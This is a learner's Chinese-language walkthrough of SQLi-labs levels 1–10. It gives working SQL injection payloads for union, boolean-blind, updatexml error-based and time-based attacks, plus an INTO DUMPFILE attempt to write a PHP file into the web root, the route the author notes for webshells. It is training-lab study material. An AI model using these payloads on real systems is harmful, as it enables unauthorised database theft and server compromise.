前言:以下笔记是我练习写的,没有像大佬们那样能写好多种利用方法出来
我的做法也有些地方不太简便,打算先按照自己的思路做一遍,再来补充学习大佬们的方法
less-1 报错注入|字符型
前面几关比较简单,可以选择各种方式进行注入
id=1’可以看到报错内容,根据内容用id=1’-- +闭合语句
![image-20220326201527316](https://cdn.jsdelivr.net/gh/r2233r/psBed@main/img/202203262015691.png)
order by 加上burp intruder判断字段数为3
可以用union select 进行注入
1’ union select 1,2,3 limit 1,1-- +
1’ union select 1,user(),database() limit 1,1-- +
id=1’ union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) limit 1,1-- +
id=1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +
可以通过查看源码,获取所有字段名
id=1’ union select 1,2,(select group_concat(username) from users) limit 1,1-- +
less-2 报错注入|数字型
id=1 and 1 和 id=1 and 0 区别判断
用order by测出字段名
id=1 union select 1,2,3 limit 1,1 – =
到这步其实和less 1没什么太大的区别了
less-3 字符型注入 变形
输入id=1’可以看到错误显示单引号加括号
因此这关闭合单引号和括号即可,其余操作和less-1没啥区别,就不赘述了
?id=1’) union select 1,2,3 limit 1,1-- =
id=1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +
less-4 双引号
将上一题的单引号改成了双引号
less-5
报错但是不显示查询结果了
报错有利于闭合构造payload,虽然没有明确内容回显,但是查询正确的情况下,是有提示的,因此可以采用布尔盲注或者时间盲注,又因为有报错信息,所以也可以进行报错注入
布尔盲注
?id=1’ and if(ASCII((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,TRUE,FALSE) – =
SQL语句中的if(a,b,c),当a符合条件的时候,走b,不符合条件走c,类似与编程语言中的? :
ascii函数获取数据的ascii码,与数值比较,相等为True,不相等为FALSE
为了获得数据,需要使用substr函数一个一个字母遍历
下图测试了下payload的正确性,当ascii码小于0时,为false,不能进入,大于0为true,就能进入
接下来用burp爆破数据库名做个例子
id=1’ and if(ASCII(SUBSTR((select database()),1,1))>0,1,FALSE)-- =
substr(str,start,len)函数,从1开始数,start表示开始截取位置,len表示截取长度
如图慢慢爆破出每个字符的bascii码即可,注意如果访问请求过快会爆错,可以在配置中修改
报错注入
可以进行报错注入的函数有很多,这里用的updatexml测试
updatexml(XML_document,XPath_string,new_value)
报错显示的地方位于XPath_string,这里本来是填入Xpath路径,当填入其他内容时会报错
可以看下面两张图的对比
因此可以利用这一点,在显示报错信息的情况下进行注入
这里虽然可以进行时间盲注,但是太浪费时间,就不测试了
less-6
双引号闭合,有错误回显,同上题类似
这里给到我的启发:测试注入点不能光想着测试单引号,其他符号都要测试一下
less-7 Dump into Outfile
这里碰到一个问题,如何判断闭合方式,这道题没有明确的报错信息,不过还是有一点回显反馈的
看下两个图的区别
输入单引号和输入双引号的区别可以判断,这里闭合用了单引号
可以用navicat测试下
加单引号选择admin数据,报错
加双引号选择admin数据,通过
因此,可以判断闭合方式有单引号。但是注释掉后面的信息后,依然报错,说明还有别的闭合符号
看下常见的闭合符号,' " ) ') ") ')) }
这里测试出‘))闭合
已经判断了闭合方式了,又没有过滤,那么这关可以使用前面提过的布尔盲注或者时间盲注
布尔盲注示例
时间盲注示例
dump into file
首先需要了解下secure_file_priv,
- 当参数
secure_file_priv
为空时,对导入导出无限制- 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功能
select 内容 into outfile 路径 这个是将内容多行写入,内容会对特殊符号转义
select 内容 into dumpfile 路径 这个是将内容作为一行写入文件,并且是原封不动的写入 所以写webshell一般用dumpfile
还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\
这里查了下secure_file_priv的值,为null,因为这里我使用的buu的环境,就没有办法修改配置文件,不过也可以试一下
首先要写入文件,需要确定写入的路径。之前输入错误url可以看到,该环境是用nginx搭建的,linux一般默认是/var/www/html/,windows的则有些不太一样。
可以通过改变url大小写判断是linux还是Windows
随便找了个asp网站,可以看到进入界面如图
改个大写字母,界面还是能够加载出来
而在buu搭的这个环境,我将Less改成LEss报错,说明这是linux系统
继续写入文件,如果要写入脚本还需要知道环境是什么语言写的,不过sqlilab是php写的,就不用探究了。
id=1’)) union select 1,2,"<?php phpinfo();?>" into dumpfile “/var/www/html/test.php” – =
不过确实是没办法写入成功了,构造下payload就算了吧
less-8 Blind-Boolean
按上题方法,测出为单引号注入,依然是盲注,方法同上
less-9 Blind-Time based
前面几关习惯了有回显,一下子到啥也没有的刚开始还有点懵
测试一串数据后发现他什么信息都不显示了,因此只能用时间盲注
这里需要理下逻辑,什么情况下是闭合执行成功,什么情况下是不成功
我在navicat用自己的表假设了下,可以看到只有在第一种真正拼接成功的情况下才能执行sleep
按照这个思路,很快就能确定下来,该题单引号闭合
这样依然按照之前盲注的思路,依次爆出数据即可
id=1’ and if(ASCII(SUBSTR((select database()),1,1))=113,1,sleep(7))-- =
less-10 Blind-Time based
按照上一关测试的思路,很快测试出为双引号闭合
简单总结下使用到的payload
联合查询
id=1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +
?id=1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +
select group_concat(table_name) from information_schema.tables where table_schema=database()
布尔盲注
and if(ASCII(SUBSTR((select database()),1,1))>0,1,FALSE)
报错注入
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
时间盲注
id=1’)) and if(ASCII(SUBSTR((select database()),1,1))=113,1,sleep(5))-- =
id=1’ and if(1,sleep(7),1) – =